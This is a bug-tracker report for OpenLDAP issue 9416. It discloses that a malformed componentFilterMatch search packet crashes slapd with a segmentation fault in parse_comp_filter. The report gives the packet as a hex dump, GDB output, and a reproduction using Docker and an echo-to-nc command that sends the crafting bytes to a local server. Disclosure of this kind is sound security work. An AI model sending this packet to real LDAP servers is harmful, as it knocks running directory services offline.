https://bugs.openldap.org/show_bug.cgi?id=9416
Issue ID: 9416 Summary: Malformed componentfiltermatch packets cause crashes Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs@openldap.org Reporter: phasip@gmail.com Target Milestone: ---
Another packet for componentFilterMatch that crashes. Not done any research as to why.
Packet: 00000000: 3082 017f 0201 0d63 8200 39df 920a 008c 0......c..9..... 00000010: 00e7 00d0 0070 0096 00a0 81f7 7145 770c .....p......qEw. 00000020: de51 85c4 fe31 d1a8 be3e 3e14 0b8c 3ba8 .Q...1...>>...;. 00000030: 00ed 533b 779f ebdd e358 7649 f274 cfd5 ..S;w....XvI.t.. 00000040: a311 04de 6bf0 c937 0624 6e8c 70a9 ac92 ....k..7.$n.p... 00000050: f7b9 ecad 03c3 be19 2f8f 2daa d44b 93b6 ......../.-..K.. 00000060: 0d9b b9e7 2d54 df37 dfe5 ebd2 456b 55c5 ....-T.7....EkU. 00000070: 9df2 4a9c 7f29 257f ff04 deb3 6739 3965 ..J..)%.....g99e 00000080: c00b 1280 1644 f3c0 81b5 20e9 226a 9210 .....D.... ."j.. 00000090: 19aa a900 8114 636f 6d70 6f6e 656e 7446 ......componentF 000000a0: 696c 7465 724d 6174 6368 8320 6e6f 743a ilterMatch. not: 000000b0: 007f 5004 deb3 6739 3965 c00b 1280 1644 ..P...g99e.....D 000000c0: f3c0 81b5 20e9 226a 9210 19aa a900 8114 .... ."j........ 000000d0: 636f 6d70 6f6e 656e 7446 696c 7465 724d componentFilterM 000000e0: 6174 6368 8320 6e6f 7420 007f 5004 deb3 atch. not ..P... 000000f0: 6739 3965 c00b 1280 1644 f3c0 81b5 20e9 g99e.....D.... . 00000100: 226a 9210 19aa a900 8114 636f 6d70 6f6e "j........compon 00000110: 656e 7446 696c 7465 724d 6174 6368 835c entFilterMatch.\ 00000120: 2020 5c20 205c 2020 5c20 2044 5c20 205c \ \ \ D\ \ 00000130: 2020 5c20 205c 2020 5c20 205c 2020 5c20 \ \ \ \ \ 00000140: 205c 2020 5c20 205c 2020 5c5c 2020 5c20 \ \ \ \ \ 00000150: 205c 2020 5c20 205c 2020 5c20 205c 203d \ \ \ \ \ = 00000160: 5c20 202e 315c 2020 205c 2020 5c20 205c \ .1\ \ \ \ 00000170: 2020 5c20 205c 2020 5c20 205c 2020 5c2e \ \ \ \ . 00000180: 362b 7f23 34ff 8900 0005 a333 802b 7f23 6+.#4......3.+.# 00000190: 312e 332e 362e 502e df49 0a22 8980 00ff 1.3.6.P..I.".... 000001a0: ffff 7780 00ff ffff ffff ffb1 0e82 0100 ..w............. 000001b0: 4212 ff B..
GDB output: Starting program: /openldap/servers/slapd/slapd -h ldap://:1389/ -d 256 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 5fc938c6 @(#) $OpenLDAP: slapd 2.X (Dec 3 2020 19:06:47) $ @8d4e8dc0a9bb:/openldap/servers/slapd 5fc938c6 slapd starting [New Thread 0x7fff8b2d3700 (LWP 11)] [New Thread 0x7fff8aad2700 (LWP 12)] 5fc938d5 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:50460 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 13)] 5fc938d5 get_filter: unknown filter type=113 5fc938d5 get_filter: unknown filter type=231
--Type <RET> for more, q to quit, c to continue without paging-- Thread 4 "slapd" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff8a2d1700 (LWP 13)] 0x00005555555f8309 in parse_comp_filter (op=op@entry=0x7fff80000d50, cav=cav@entry=0x7fff8a2cf790, filt=filt@entry=0x7fff89ad2078, text=text@entry=0x7fff8a2d0aa0) at component.c:1073 1073 tag = strip_cav_tag( cav );
Testing: (Alternative to using docker hub: docker build -t phasip/openldap https://github.com/Phasip/openldap-docker.git#main) # Using privileged here for gdb access docker pull phasip/openldap docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' echo -en '\x30\x82\x01\x7f\x02\x01\x0d\x63\x82\x00\x39\xdf\x92\x0a\x00\x8c\x00\xe7\x00\xd0\x00\x70\x00\x96\x00\xa0\x81\xf7\x71\x45\x77\x0c\xde\x51\x85\xc4\xfe\x31\xd1\xa8\xbe\x3e\x3e\x14\x0b\x8c\x3b\xa8\x00\xed\x53\x3b\x77\x9f\xeb\xdd\xe3\x58\x76\x49\xf2\x74\xcf\xd5\xa3\x11\x04\xde\x6b\xf0\xc9\x37\x06\x24\x6e\x8c\x70\xa9\xac\x92\xf7\xb9\xec\xad\x03\xc3\xbe\x19\x2f\x8f\x2d\xaa\xd4\x4b\x93\xb6\x0d\x9b\xb9\xe7\x2d\x54\xdf\x37\xdf\xe5\xeb\xd2\x45\x6b\x55\xc5\x9d\xf2\x4a\x9c\x7f\x29\x25\x7f\xff\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x20\x6e\x6f\x74\x3a\x00\x7f\x50\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x20\x6e\x6f\x74\x20\x00\x7f\x50\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x44\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x3d\x5c\x20\x20\x2e\x31\x5c\x20\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x2e\x36\x2b\x7f\x23\x34\xff\x89\x00\x00\x05\xa3\x33\x80\x2b\x7f\x23\x31\x2e\x33\x2e\x36\x2e\x50\x2e\xdf\x49\x0a\x22\x89\x80\x00\xff\xff\xff\x77\x80\x00\xff\xff\xff\xff\xff\xff\xb1\x0e\x82\x01\x00\x42\x12\xff' | nc localhost 1389